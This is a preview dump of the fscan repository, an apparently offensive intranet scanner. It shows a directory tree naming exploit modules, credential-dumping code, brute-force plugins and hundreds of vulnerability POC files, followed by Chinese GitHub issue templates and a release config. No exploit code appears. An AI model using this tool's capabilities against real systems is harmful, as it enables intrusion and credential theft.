Showing preview only (5,781K chars total). Download the full file or copy to clipboard to get everything.
Repository: shadow1ng/fscan
Branch: main
Commit: 6b13b2e84f54
Files: 535
Total size: 5.4 MB
Directory structure:
gitextract_35esngf3/
├── .github/
│ ├── ISSUE_TEMPLATE/
│ │ ├── bug_report.yml
│ │ ├── config.yml
│ │ ├── false_positive.yml
│ │ ├── feature_request.yml
│ │ └── plugin_request.yml
│ ├── conf/
│ │ └── .goreleaser.yml
│ └── workflows/
│ ├── release.yml
│ └── test-build.yml
├── .gitignore
├── Common/
│ ├── Config.go
│ ├── Flag.go
│ ├── Log.go
│ ├── Output.go
│ ├── Parse.go
│ ├── ParseIP.go
│ ├── ParsePort.go
│ ├── Ports.go
│ ├── Proxy.go
│ ├── Types.go
│ └── i18n.go
├── Core/
│ ├── ICMP.go
│ ├── LocalScanner.go
│ ├── PluginUtils.go
│ ├── PortFinger.go
│ ├── PortInfo.go
│ ├── PortScan.go
│ ├── Registry.go
│ ├── Scanner.go
│ ├── ServiceScanner.go
│ ├── WebScanner.go
│ └── nmap-service-probes.txt
├── LICENSE.txt
├── Plugins/
│ ├── ActiveMQ.go
│ ├── Base.go
│ ├── Cassandra.go
│ ├── DCInfo.go
│ ├── DCInfoUnix.go
│ ├── Elasticsearch.go
│ ├── FTP.go
│ ├── FindNet.go
│ ├── IMAP.go
│ ├── Kafka.go
│ ├── LDAP.go
│ ├── LocalInfo.go
│ ├── MS17010-Exp.go
│ ├── MS17010.go
│ ├── MSSQL.go
│ ├── Memcached.go
│ ├── MiniDump.go
│ ├── MiniDumpUnix.go
│ ├── Modbus.go
│ ├── Mongodb.go
│ ├── MySQL.go
│ ├── Neo4j.go
│ ├── NetBIOS.go
│ ├── Oracle.go
│ ├── POP3.go
│ ├── Postgres.go
│ ├── RDP.go
│ ├── RabbitMQ.go
│ ├── Redis.go
│ ├── Rsync.go
│ ├── SMB.go
│ ├── SMB2.go
│ ├── SMTP.go
│ ├── SNMP.go
│ ├── SSH.go
│ ├── SmbGhost.go
│ ├── Telnet.go
│ ├── VNC.go
│ ├── WebPoc.go
│ └── WebTitle.go
├── README.md
├── README_EN.md
├── TestDocker/
│ ├── ActiveMQ/
│ │ ├── Dockerfile
│ │ ├── README.txt
│ │ ├── activemq.xml
│ │ └── users.properties
│ ├── Cassandra/
│ │ └── README.txt
│ ├── Elasticsearch/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── FTP/
│ │ └── README.txt
│ ├── IMAP/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── Kafka/
│ │ ├── README.txt
│ │ ├── docker-compose.yml
│ │ └── kafka_jaas.conf
│ ├── LDAP/
│ │ ├── Dockerfile
│ │ ├── README.txt
│ │ └── bootstrap.ldif
│ ├── MSSQL/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── Memcached/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── Modbus/
│ │ └── README.txt
│ ├── Mongodb/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── MySQL/
│ │ ├── Dockerfile
│ │ ├── README.txt
│ │ └── my.cnf
│ ├── Neo4j/
│ │ ├── Dockerfile
│ │ └── docker-compose.yml
│ ├── Oracle/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── POP3/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── Postgre/
│ │ ├── Dockerfile
│ │ └── README.md
│ ├── RabbitMQ/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── Redis/
│ │ ├── Dockerfile
│ │ ├── README.txt
│ │ └── redis.conf
│ ├── Rsync/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── SMTP/
│ │ ├── Dockerfile
│ │ ├── README.txt
│ │ └── start.sh
│ ├── SNMP/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── SSH/
│ │ ├── Dockerfile
│ │ └── README.txt
│ ├── Telnet/
│ │ ├── Dockerfile
│ │ └── README.md
│ ├── Tomcat/
│ │ ├── Dockerfile
│ │ ├── README.txt
│ │ ├── context.xml
│ │ └── tomcat-users.xml
│ ├── VNC/
│ │ ├── Dockerfile
│ │ ├── README.txt
│ │ └── supervisord.conf
│ ├── Weblogic/
│ │ ├── Dockerfile
│ │ ├── README.txt
│ │ ├── create-domain.py
│ │ └── start.sh
│ └── Zabbix/
│ └── docker-compose.yml
├── WebScan/
│ ├── InfoScan.go
│ ├── WebScan.go
│ ├── info/
│ │ └── Rules.go
│ ├── lib/
│ │ ├── Check.go
│ │ ├── Client.go
│ │ ├── Eval.go
│ │ ├── Shiro.go
│ │ ├── http.pb.go
│ │ └── http.proto
│ └── pocs/
│ ├── 74cms-sqli-1.yml
│ ├── 74cms-sqli-2.yml
│ ├── 74cms-sqli.yml
│ ├── CVE-2017-7504-Jboss-serialization-RCE.yml
│ ├── CVE-2022-22947.yml
│ ├── CVE-2022-22954-VMware-RCE.yml
│ ├── CVE-2022-26134.yml
│ ├── Hotel-Internet-Manage-RCE.yml
│ ├── Struts2-062-cve-2021-31805-rce.yml
│ ├── active-directory-certsrv-detect.yml
│ ├── activemq-cve-2016-3088.yml
│ ├── activemq-default-password.yml
│ ├── airflow-unauth.yml
│ ├── alibaba-canal-default-password.yml
│ ├── alibaba-canal-info-leak.yml
│ ├── alibaba-nacos-v1-auth-bypass.yml
│ ├── alibaba-nacos.yml
│ ├── amtt-hiboss-server-ping-rce.yml
│ ├── apache-ambari-default-password.yml
│ ├── apache-axis-webservice-detect.yml
│ ├── apache-druid-cve-2021-36749.yml
│ ├── apache-flink-upload-rce.yml
│ ├── apache-httpd-cve-2021-40438-ssrf.yml
│ ├── apache-httpd-cve-2021-41773-path-traversal.yml
│ ├── apache-httpd-cve-2021-41773-rce.yml
│ ├── apache-kylin-unauth-cve-2020-13937.yml
│ ├── apache-nifi-api-unauthorized-access.yml
│ ├── apache-ofbiz-cve-2018-8033-xxe.yml
│ ├── apache-ofbiz-cve-2020-9496-xml-deserialization.yml
│ ├── aspcms-backend-leak.yml
│ ├── backup-file.yml
│ ├── bash-cve-2014-6271.yml
│ ├── bt742-pma-unauthorized-access.yml
│ ├── cacti-weathermap-file-write.yml
│ ├── chinaunicom-modem-default-password.yml
│ ├── cisco-cve-2020-3452-readfile.yml
│ ├── citrix-cve-2019-19781-path-traversal.yml
│ ├── citrix-cve-2020-8191-xss.yml
│ ├── citrix-cve-2020-8193-unauthorized.yml
│ ├── citrix-xenmobile-cve-2020-8209.yml
│ ├── coldfusion-cve-2010-2861-lfi.yml
│ ├── confluence-cve-2015-8399.yml
│ ├── confluence-cve-2019-3396-lfi.yml
│ ├── confluence-cve-2021-26084.yml
│ ├── confluence-cve-2021-26085-arbitrary-file-read.yml
│ ├── consul-rexec-rce.yml
│ ├── consul-service-rce.yml
│ ├── coremail-cnvd-2019-16798.yml
│ ├── couchcms-cve-2018-7662.yml
│ ├── couchdb-cve-2017-12635.yml
│ ├── couchdb-unauth.yml
│ ├── craftcms-seomatic-cve-2020-9757-rce.yml
│ ├── datang-ac-default-password-cnvd-2021-04128.yml
│ ├── dedecms-carbuyaction-fileinclude.yml
│ ├── dedecms-cve-2018-6910.yml
│ ├── dedecms-cve-2018-7700-rce.yml
│ ├── dedecms-guestbook-sqli.yml
│ ├── dedecms-membergroup-sqli.yml
│ ├── dedecms-url-redirection.yml
│ ├── discuz-ml3x-cnvd-2019-22239.yml
│ ├── discuz-v72-sqli.yml
│ ├── discuz-wechat-plugins-unauth.yml
│ ├── discuz-wooyun-2010-080723.yml
│ ├── django-CVE-2018-14574.yml
│ ├── dlink-850l-info-leak.yml
│ ├── dlink-cve-2019-16920-rce.yml
│ ├── dlink-cve-2019-17506.yml
│ ├── dlink-cve-2020-25078-account-disclosure.yml
│ ├── dlink-cve-2020-9376-dump-credentials.yml
│ ├── dlink-dsl-2888a-rce.yml
│ ├── docker-api-unauthorized-rce.yml
│ ├── docker-registry-api-unauth.yml
│ ├── dotnetcms-sqli.yml
│ ├── draytek-cve-2020-8515.yml
│ ├── druid-monitor-unauth.yml
│ ├── drupal-cve-2014-3704-sqli.yml
│ ├── drupal-cve-2018-7600-rce.yml
│ ├── drupal-cve-2019-6340.yml
│ ├── dubbo-admin-default-password.yml
│ ├── duomicms-sqli.yml
│ ├── dvr-cve-2018-9995.yml
│ ├── e-office-v10-sql-inject.yml
│ ├── e-office-v9-upload-cnvd-2021-49104.yml
│ ├── e-zkeco-cnvd-2020-57264-read-file.yml
│ ├── ecology-arbitrary-file-upload.yml
│ ├── ecology-filedownload-directory-traversal.yml
│ ├── ecology-javabeanshell-rce.yml
│ ├── ecology-springframework-directory-traversal.yml
│ ├── ecology-syncuserinfo-sqli.yml
│ ├── ecology-v8-sqli.yml
│ ├── ecology-validate-sqli.yml
│ ├── ecology-workflowcentertreedata-sqli.yml
│ ├── ecology-workflowservicexml.yml
│ ├── ecshop-cnvd-2020-58823-sqli.yml
│ ├── ecshop-collection-list-sqli.yml
│ ├── ecshop-login-sqli.yml
│ ├── ecshop-rce.yml
│ ├── eea-info-leak-cnvd-2021-10543.yml
│ ├── elasticsearch-cve-2014-3120.yml
│ ├── elasticsearch-cve-2015-1427.yml
│ ├── elasticsearch-cve-2015-3337-lfi.yml
│ ├── elasticsearch-cve-2015-5531.yml
│ ├── elasticsearch-unauth.yml
│ ├── etcd-unauth.yml
│ ├── etcd-v3-unauth.yml
│ ├── etouch-v2-sqli.yml
│ ├── exchange-cve-2021-26855-ssrf.yml
│ ├── eyou-rce.yml
│ ├── ezoffice-dpwnloadhttp.jsp-filedownload.yml
│ ├── f5-cve-2021-22986.yml
│ ├── f5-cve-2022-1388.yml
│ ├── f5-tmui-cve-2020-5902-rce.yml
│ ├── fangweicms-sqli.yml
│ ├── fckeditor-info.yml
│ ├── feifeicms-lfr.yml
│ ├── finecms-sqli.yml
│ ├── finereport-directory-traversal.yml
│ ├── finereport-v8-arbitrary-file-read.yml
│ ├── flexpaper-cve-2018-11686.yml
│ ├── flink-jobmanager-cve-2020-17519-lfi.yml
│ ├── fortigate-cve-2018-13379-readfile.yml
│ ├── frp-dashboard-unauth.yml
│ ├── gateone-cve-2020-35736.yml
│ ├── gilacms-cve-2020-5515.yml
│ ├── gitlab-graphql-info-leak-cve-2020-26413.yml
│ ├── gitlab-ssrf-cve-2021-22214.yml
│ ├── gitlist-rce-cve-2018-1000533.yml
│ ├── glassfish-cve-2017-1000028-lfi.yml
│ ├── go-pprof-leak.yml
│ ├── gocd-cve-2021-43287.yml
│ ├── h2-database-web-console-unauthorized-access.yml
│ ├── h3c-imc-rce.yml
│ ├── h3c-secparh-any-user-login.yml
│ ├── h5s-video-platform-cnvd-2020-67113-unauth.yml
│ ├── hadoop-yarn-unauth.yml
│ ├── hanming-video-conferencing-file-read.yml
│ ├── harbor-cve-2019-16097.yml
│ ├── hikvision-cve-2017-7921.yml
│ ├── hikvision-gateway-data-file-read.yml
│ ├── hikvision-info-leak.yml
│ ├── hikvision-intercom-service-default-password.yml
│ ├── hikvision-showfile-file-read.yml
│ ├── hikvision-unauthenticated-rce-cve-2021-36260.yml
│ ├── hjtcloud-arbitrary-fileread.yml
│ ├── hjtcloud-directory-file-leak.yml
│ ├── huawei-home-gateway-hg659-fileread.yml
│ ├── ifw8-router-cve-2019-16313.yml
│ ├── iis-put-getshell.yml
│ ├── influxdb-unauth.yml
│ ├── inspur-tscev4-cve-2020-21224-rce.yml
│ ├── jboss-cve-2010-1871.yml
│ ├── jboss-unauth.yml
│ ├── jeewms-showordownbyurl-fileread.yml
│ ├── jellyfin-file-read-cve-2021-21402.yml
│ ├── jenkins-cve-2018-1000600.yml
│ ├── jenkins-cve-2018-1000861-rce.yml
│ ├── jenkins-unauthorized-access.yml
│ ├── jetty-cve-2021-28164.yml
│ ├── jira-cve-2019-11581.yml
│ ├── jira-cve-2019-8442.yml
│ ├── jira-cve-2019-8449.yml
│ ├── jira-cve-2020-14179.yml
│ ├── jira-cve-2020-14181.yml
│ ├── jira-ssrf-cve-2019-8451.yml
│ ├── joomla-cnvd-2019-34135-rce.yml
│ ├── joomla-component-vreview-sql.yml
│ ├── joomla-cve-2015-7297-sqli.yml
│ ├── joomla-cve-2017-8917-sqli.yml
│ ├── joomla-cve-2018-7314-sql.yml
│ ├── joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml
│ ├── jumpserver-unauth-rce.yml
│ ├── jupyter-notebook-unauthorized-access.yml
│ ├── kafka-manager-unauth.yml
│ ├── kibana-cve-2018-17246.yml
│ ├── kibana-unauth.yml
│ ├── kingdee-eas-directory-traversal.yml
│ ├── kingsoft-v8-default-password.yml
│ ├── kingsoft-v8-file-read.yml
│ ├── kong-cve-2020-11710-unauth.yml
│ ├── kubernetes-unauth.yml
│ ├── kyan-network-monitoring-account-password-leakage.yml
│ ├── landray-oa-custom-jsp-fileread.yml
│ ├── lanproxy-cve-2021-3019-lfi.yml
│ ├── laravel-cve-2021-3129.yml
│ ├── laravel-debug-info-leak.yml
│ ├── laravel-improper-webdir.yml
│ ├── maccms-rce.yml
│ ├── maccmsv10-backdoor.yml
│ ├── metinfo-cve-2019-16996-sqli.yml
│ ├── metinfo-cve-2019-16997-sqli.yml
│ ├── metinfo-cve-2019-17418-sqli.yml
│ ├── metinfo-file-read.yml
│ ├── metinfo-lfi-cnvd-2018-13393.yml
│ ├── minio-default-password.yml
│ ├── mongo-express-cve-2019-10758.yml
│ ├── mpsec-isg1000-file-read.yml
│ ├── msvod-sqli.yml
│ ├── myucms-lfr.yml
│ ├── nagio-cve-2018-10735.yml
│ ├── nagio-cve-2018-10736.yml
│ ├── nagio-cve-2018-10737.yml
│ ├── nagio-cve-2018-10738.yml
│ ├── natshell-arbitrary-file-read.yml
│ ├── netentsec-icg-default-password.yml
│ ├── netentsec-ngfw-rce.yml
│ ├── netgear-cve-2017-5521.yml
│ ├── nextjs-cve-2017-16877.yml
│ ├── nexus-cve-2019-7238.yml
│ ├── nexus-cve-2020-10199.yml
│ ├── nexus-cve-2020-10204.yml
│ ├── nexus-default-password.yml
│ ├── nexusdb-cve-2020-24571-path-traversal.yml
│ ├── nhttpd-cve-2019-16278.yml
│ ├── node-red-dashboard-file-read-cve-2021-3223.yml
│ ├── novnc-url-redirection-cve-2021-3654.yml
│ ├── nps-default-password.yml
│ ├── ns-asg-file-read.yml
│ ├── nsfocus-uts-password-leak.yml
│ ├── nuuo-file-inclusion.yml
│ ├── odoo-file-read.yml
│ ├── openfire-cve-2019-18394-ssrf.yml
│ ├── opentsdb-cve-2020-35476-rce.yml
│ ├── panabit-gateway-default-password.yml
│ ├── panabit-ixcache-default-password.yml
│ ├── pandorafms-cve-2019-20224-rce.yml
│ ├── pbootcms-database-file-download.yml
│ ├── php-cgi-cve-2012-1823.yml
│ ├── phpcms-cve-2018-19127.yml
│ ├── phpmyadmin-cve-2018-12613-file-inclusion.yml
│ ├── phpmyadmin-setup-deserialization.yml
│ ├── phpok-sqli.yml
│ ├── phpshe-sqli.yml
│ ├── phpstudy-backdoor-rce.yml
│ ├── phpstudy-nginx-wrong-resolve.yml
│ ├── phpunit-cve-2017-9841-rce.yml
│ ├── powercreator-arbitrary-file-upload.yml
│ ├── prometheus-url-redirection-cve-2021-29622.yml
│ ├── pulse-cve-2019-11510.yml
│ ├── pyspider-unauthorized-access.yml
│ ├── qibocms-sqli.yml
│ ├── qilin-bastion-host-rce.yml
│ ├── qizhi-fortressaircraft-unauthorized.yml
│ ├── qnap-cve-2019-7192.yml
│ ├── rabbitmq-default-password.yml
│ ├── rails-cve-2018-3760-rce.yml
│ ├── razor-cve-2018-8770.yml
│ ├── rconfig-cve-2019-16663.yml
│ ├── resin-cnnvd-200705-315.yml
│ ├── resin-inputfile-fileread-or-ssrf.yml
│ ├── resin-viewfile-fileread.yml
│ ├── rockmongo-default-password.yml
│ ├── ruijie-eg-cli-rce.yml
│ ├── ruijie-eg-file-read.yml
│ ├── ruijie-eg-info-leak.yml
│ ├── ruijie-eweb-rce-cnvd-2021-09650.yml
│ ├── ruijie-nbr1300g-cli-password-leak.yml
│ ├── ruijie-uac-cnvd-2021-14536.yml
│ ├── ruoyi-management-fileread.yml
│ ├── saltstack-cve-2020-16846.yml
│ ├── saltstack-cve-2021-25282-file-write.yml
│ ├── samsung-wea453e-default-pwd.yml
│ ├── samsung-wea453e-rce.yml
│ ├── samsung-wlan-ap-wea453e-rce.yml
│ ├── sangfor-ad-download.php-filedownload.yml
│ ├── sangfor-ba-rce.yml
│ ├── sangfor-edr-arbitrary-admin-login.yml
│ ├── sangfor-edr-cssp-rce.yml
│ ├── sangfor-edr-tool-rce.yml
│ ├── satellian-cve-2020-7980-rce.yml
│ ├── seacms-before-v992-rce.yml
│ ├── seacms-rce.yml
│ ├── seacms-sqli.yml
│ ├── seacms-v654-rce.yml
│ ├── seacmsv645-command-exec.yml
│ ├── secnet-ac-default-password.yml
│ ├── seeyon-a6-employee-info-leak.yml
│ ├── seeyon-a6-test-jsp-sql.yml
│ ├── seeyon-ajax-unauthorized-access.yml
│ ├── seeyon-cnvd-2020-62422-readfile.yml
│ ├── seeyon-oa-a8-m-information-disclosure.yml
│ ├── seeyon-oa-cookie-leak.yml
│ ├── seeyon-session-leak.yml
│ ├── seeyon-setextno-jsp-sql.yml
│ ├── seeyon-unauthoried.yml
│ ├── seeyon-wooyun-2015-0108235-sqli.yml
│ ├── seeyon-wooyun-2015-148227.yml
│ ├── shiro-key.yml
│ ├── shiziyu-cms-apicontroller-sqli.yml
│ ├── shopxo-cnvd-2021-15822.yml
│ ├── showdoc-default-password.yml
│ ├── showdoc-uploadfile.yml
│ ├── skywalking-cve-2020-9483-sqli.yml
│ ├── solarwinds-cve-2020-10148.yml
│ ├── solr-cve-2017-12629-xxe.yml
│ ├── solr-cve-2019-0193.yml
│ ├── solr-fileread.yml
│ ├── solr-velocity-template-rce.yml
│ ├── sonarqube-cve-2020-27986-unauth.yml
│ ├── sonicwall-ssl-vpn-rce.yml
│ ├── spark-api-unauth.yml
│ ├── spark-webui-unauth.yml
│ ├── spon-ip-intercom-ping-rce.yml
│ ├── spring-actuator-heapdump-file.yml
│ ├── spring-cloud-cve-2020-5405.yml
│ ├── spring-cloud-cve-2020-5410.yml
│ ├── spring-core-rce.yml
│ ├── spring-cve-2016-4977.yml
│ ├── springboot-cve-2021-21234.yml
│ ├── springboot-env-unauth.yml
│ ├── springcloud-cve-2019-3799.yml
│ ├── sql-file.yml
│ ├── struts2-045.yml
│ ├── struts2-046-1.yml
│ ├── supervisord-cve-2017-11610.yml
│ ├── swagger-ui-unauth.yml
│ ├── tamronos-iptv-rce.yml
│ ├── telecom-gateway-default-password.yml
│ ├── tensorboard-unauth.yml
│ ├── terramaster-cve-2020-15568.yml
│ ├── terramaster-tos-rce-cve-2020-28188.yml
│ ├── thinkadmin-v6-readfile.yml
│ ├── thinkcmf-lfi.yml
│ ├── thinkcmf-write-shell.yml
│ ├── thinkphp-v6-file-write.yml
│ ├── thinkphp5-controller-rce.yml
│ ├── thinkphp5023-method-rce.yml
│ ├── tianqing-info-leak.yml
│ ├── tomcat-cve-2017-12615-rce.yml
│ ├── tomcat-cve-2018-11759.yml
│ ├── tomcat-manager-weak.yml
│ ├── tongda-insert-sql-inject.yml
│ ├── tongda-meeting-unauthorized-access.yml
│ ├── tongda-oa-v11.9-api.ali.php-upload.yml
│ ├── tongda-user-session-disclosure.yml
│ ├── tongda-v2017-uploadfile.yml
│ ├── tpshop-directory-traversal.yml
│ ├── tpshop-sqli.yml
│ ├── tvt-nvms-1000-file-read-cve-2019-20085.yml
│ ├── typecho-rce.yml
│ ├── ueditor-cnvd-2017-20077-file-upload.yml
│ ├── uwsgi-cve-2018-7490.yml
│ ├── vbulletin-cve-2019-16759-bypass.yml
│ ├── vbulletin-cve-2019-16759.yml
│ ├── vmware-vcenter-arbitrary-file-read.yml
│ ├── vmware-vcenter-cve-2021-21985-rce.yml
│ ├── vmware-vcenter-unauthorized-rce-cve-2021-21972.yml
│ ├── vmware-vrealize-cve-2021-21975-ssrf.yml
│ ├── weaver-E-Cology-getSqlData-sqli.yml
│ ├── weaver-ebridge-file-read.yml
│ ├── weaver-oa-eoffice-v9-upload-getshell.yml
│ ├── weblogic-console-weak.yml
│ ├── weblogic-cve-2017-10271.yml
│ ├── weblogic-cve-2019-2725.yml
│ ├── weblogic-cve-2019-2729-1.yml
│ ├── weblogic-cve-2019-2729-2.yml
│ ├── weblogic-cve-2020-14750.yml
│ ├── weblogic-ssrf.yml
│ ├── webmin-cve-2019-15107-rce.yml
│ ├── weiphp-path-traversal.yml
│ ├── weiphp-sql.yml
│ ├── wifisky-default-password-cnvd-2021-39012.yml
│ ├── wordpress-cve-2019-19985-infoleak.yml
│ ├── wordpress-ext-adaptive-images-lfi.yml
│ ├── wordpress-ext-mailpress-rce.yml
│ ├── wuzhicms-v410-sqli.yml
│ ├── xdcms-sql.yml
│ ├── xiuno-bbs-cvnd-2019-01348-reinstallation.yml
│ ├── xunchi-cnvd-2020-23735-file-read.yml
│ ├── yapi-rce.yml
│ ├── yccms-rce.yml
│ ├── yonyou-grp-u8-sqli-to-rce.yml
│ ├── yonyou-grp-u8-sqli.yml
│ ├── yonyou-nc-arbitrary-file-upload.yml
│ ├── yonyou-nc-bsh-servlet-bshservlet-rce.yml
│ ├── yonyou-u8-oa-sqli.yml
│ ├── youphptube-encoder-cve-2019-5127.yml
│ ├── youphptube-encoder-cve-2019-5128.yml
│ ├── youphptube-encoder-cve-2019-5129.yml
│ ├── yungoucms-sqli.yml
│ ├── zabbix-authentication-bypass.yml
│ ├── zabbix-cve-2016-10134-sqli.yml
│ ├── zabbix-default-password.yml
│ ├── zcms-v3-sqli.yml
│ ├── zeit-nodejs-cve-2020-5284-directory-traversal.yml
│ ├── zeroshell-cve-2019-12725-rce.yml
│ ├── zimbra-cve-2019-9670-xxe.yml
│ └── zzcms-zsmanage-sqli.yml
├── go.mod
├── go.sum
└── main.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/ISSUE_TEMPLATE/bug_report.yml
================================================
name: 🐛 Bug 报告
description: 报告扫描异常、崩溃或错误行为
title: "[Bug] "
labels: ["bug"]
body:
- type: markdown
attributes:
value: |
感谢您提交 Bug 报告!请尽可能详细地填写以下信息,这将帮助我们更快定位和修复问题。
- type: dropdown
id: module
attributes:
label: 问题模块
description: 问题出现在哪个功能模块?
options:
- 端口扫描 (Port Scan)
- 主机存活检测 (Host Discovery)
- 服务识别 (Service Detection)
- 弱口令爆破 (Brute Force)
- POC/漏洞扫描 (POC Scan)
- Web指纹识别 (Web Fingerprint)
- 输出/日志 (Output/Logging)
- 命令行参数 (CLI Arguments)
- 其他 (Other)
validations:
required: true
- type: dropdown
id: severity
attributes:
label: 严重程度
options:
- 崩溃/无法使用 (Crash)
- 功能异常 (Malfunction)
- 结果不准确 (Inaccurate)
- 性能问题 (Performance)
- 其他 (Other)
validations:
required: true
- type: textarea
id: description
attributes:
label: 问题描述
description: 清晰描述遇到的问题
placeholder: |
发生了什么?
预期的行为是什么?
validations:
required: true
- type: textarea
id: reproduce
attributes:
label: 复现步骤
description: 提供可以复现问题的命令或步骤
placeholder: |
1. 执行命令: fscan -h xxx -p xxx
2. 观察到...
render: shell
validations:
required: true
- type: textarea
id: output
attributes:
label: 错误输出
description: 粘贴相关的错误信息或日志(请脱敏敏感信息)
render: shell
- type: textarea
id: environment
attributes:
label: 环境信息
description: 请提供运行环境信息
value: |
- fscan 版本: [如 1.8.4]
- 操作系统: [如 Windows 11 / Ubuntu 22.04 / macOS 14]
- 架构: [如 amd64 / arm64]
- Go 版本 (如自编译): [如 go1.20.10]
validations:
required: true
- type: textarea
id: additional
attributes:
label: 补充信息
description: 其他可能有助于排查问题的信息
================================================
FILE: .github/ISSUE_TEMPLATE/config.yml
================================================
# Issue 模板配置
# 禁止空白 issue,强制用户选择模板
blank_issues_enabled: false
contact_links:
- name: 📖 使用文档
url: https://github.com/shadow1ng/fscan/blob/main/README.md
about: 提交 Issue 前请先查阅文档
- name: 💬 讨论区
url: https://github.com/shadow1ng/fscan/discussions
about: 一般性问题和讨论请使用 Discussions
================================================
FILE: .github/ISSUE_TEMPLATE/false_positive.yml
================================================
name: 🎯 误报/漏报
description: 报告扫描结果不准确的问题
title: "[Accuracy] "
labels: ["accuracy"]
body:
- type: markdown
attributes:
value: |
感谢您帮助提高 fscan 的准确性!误报和漏报都是需要优化的问题。
- type: dropdown
id: type
attributes:
label: 问题类型
options:
- 误报 (False Positive) - 报告了不存在的问题
- 漏报 (False Negative) - 未能检测到存在的问题
validations:
required: true
- type: dropdown
id: category
attributes:
label: 涉及功能
options:
- 主机存活检测
- 端口状态判断
- 服务识别
- 弱口令检测
- POC/漏洞检测
- Web指纹识别
- 其他
validations:
required: true
- type: textarea
id: fscan-output
attributes:
label: fscan 输出结果
description: 粘贴相关的扫描输出(请脱敏敏感信息如真实IP、密码等)
render: shell
validations:
required: true
- type: textarea
id: actual
attributes:
label: 实际情况
description: 描述目标的真实状态
placeholder: |
实际上这个端口是关闭的 / 服务版本是 xxx / 密码不是 xxx...
验证方式: 通过 nmap/手动连接/其他工具 确认...
validations:
required: true
- type: textarea
id: environment
attributes:
label: 目标环境
description: 描述目标的环境信息(请脱敏)
placeholder: |
- 目标系统: Windows Server 2019 / Ubuntu 22.04
- 服务版本: MySQL 8.0 / Redis 7.0
- 网络环境: 直连 / 通过代理 / VPN
validations:
required: true
- type: textarea
id: command
attributes:
label: 使用的命令
description: 执行的 fscan 命令
placeholder: "fscan -h x.x.x.x -p 1-65535 -pwdf pass.txt"
render: shell
validations:
required: true
- type: input
id: version
attributes:
label: fscan 版本
placeholder: "如: 1.8.4"
validations:
required: true
- type: textarea
id: suggestion
attributes:
label: 改进建议
description: 如果您有改进的想法,请分享
placeholder: |
建议增加 xxx 判断条件...
或者调整 xxx 检测逻辑...
================================================
FILE: .github/ISSUE_TEMPLATE/feature_request.yml
================================================
name: ✨ 功能请求
description: 提议新功能或改进现有功能
title: "[Feature] "
labels: ["enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的功能建议!请详细描述您的需求,这将帮助我们评估和实现。
- type: dropdown
id: category
attributes:
label: 功能类别
options:
- 新扫描能力 (New Scan Capability)
- 性能优化 (Performance)
- 用户体验 (UX/CLI)
- 输出格式 (Output Format)
- 配置选项 (Configuration)
- 集成/API (Integration/API)
- 其他 (Other)
validations:
required: true
- type: textarea
id: problem
attributes:
label: 解决什么问题?
description: 描述您遇到的痛点或使用场景
placeholder: |
在进行 xxx 操作时,我希望能够...
目前的问题是...
validations:
required: true
- type: textarea
id: solution
attributes:
label: 期望的解决方案
description: 描述您希望的功能或行为
placeholder: |
希望能够通过 -xxx 参数来...
或者增加一个新的模块来...
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: 替代方案
description: 您考虑过的其他解决方案或变通方法
placeholder: |
目前我通过 xxx 方式来解决,但是...
- type: dropdown
id: priority
attributes:
label: 优先级建议
description: 您认为这个功能的重要程度
options:
- 高 - 核心功能缺失
- 中 - 明显改善体验
- 低 - 锦上添花
validations:
required: true
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个功能并提交 PR
================================================
FILE: .github/ISSUE_TEMPLATE/plugin_request.yml
================================================
name: 🔌 新插件/协议支持
description: 请求支持新的服务、协议或漏洞检测
title: "[Plugin] "
labels: ["plugin", "enhancement"]
body:
- type: markdown
attributes:
value: |
感谢您的插件请求!fscan 持续扩展对各种服务和协议的支持。
- type: dropdown
id: type
attributes:
label: 请求类型
options:
- 新服务/协议支持 (New Service)
- 新弱口令检测 (New Brute Force)
- 新漏洞 POC (New POC)
- 新指纹识别 (New Fingerprint)
validations:
required: true
- type: input
id: service
attributes:
label: 服务/协议名称
placeholder: "如: Kafka, ClickHouse, etcd, Consul"
validations:
required: true
- type: input
id: port
attributes:
label: 默认端口
placeholder: "如: 9092, 8123, 2379"
- type: textarea
id: description
attributes:
label: 服务描述
description: 简要介绍这个服务/协议
placeholder: |
这是一个用于 xxx 的服务...
在内网环境中常见于...
validations:
required: true
- type: textarea
id: detection
attributes:
label: 识别方法
description: 如何识别/检测这个服务(如有了解)
placeholder: |
Banner 特征: xxx
默认响应: xxx
认证方式: xxx
- type: textarea
id: reference
attributes:
label: 参考资料
description: 相关文档、其他工具实现、漏洞详情等
placeholder: |
- 官方文档: https://...
- 其他工具实现: https://...
- CVE编号: CVE-xxxx-xxxx
- type: dropdown
id: prevalence
attributes:
label: 使用普遍程度
description: 这个服务在目标环境中的常见程度
options:
- 非常常见 (企业环境标配)
- 较为常见 (经常遇到)
- 偶尔遇到
- 较少见但重要
- type: checkboxes
id: contribution
attributes:
label: 贡献意愿
options:
- label: 我愿意尝试实现这个插件并提交 PR
- label: 我可以提供测试环境
================================================
FILE: .github/conf/.goreleaser.yml
================================================
# 项目名称 - 直接使用环境变量
project_name: "{{ .Env.PROJECT_NAME }}"
# 构建前钩子
before:
hooks:
- go mod tidy
- go mod download
# 构建配置
builds:
- id: default
binary: "{{ .ProjectName }}"
env:
- CGO_ENABLED=0
goos:
- windows
- linux
- darwin
goarch:
- amd64
- arm64
- "386"
goarm:
- "7"
ignore:
- goos: darwin
goarch: "386"
- goos: windows
goarch: arm64
flags:
- -trimpath
ldflags:
- -s -w
- -X main.version={{ .Version }}
- -X main.commit={{ .ShortCommit }}
- -X main.date={{ .Date }}
- -X main.builtBy=goreleaser
mod_timestamp: "{{ .CommitTimestamp }}"
# UPX 压缩
upx:
- ids: [default]
enabled: true
goos: ["windows", "linux"]
goarch: ["amd64", "386"]
compress: best
brute: false
lzma: false
# 归档配置
archives:
- id: default
format: binary
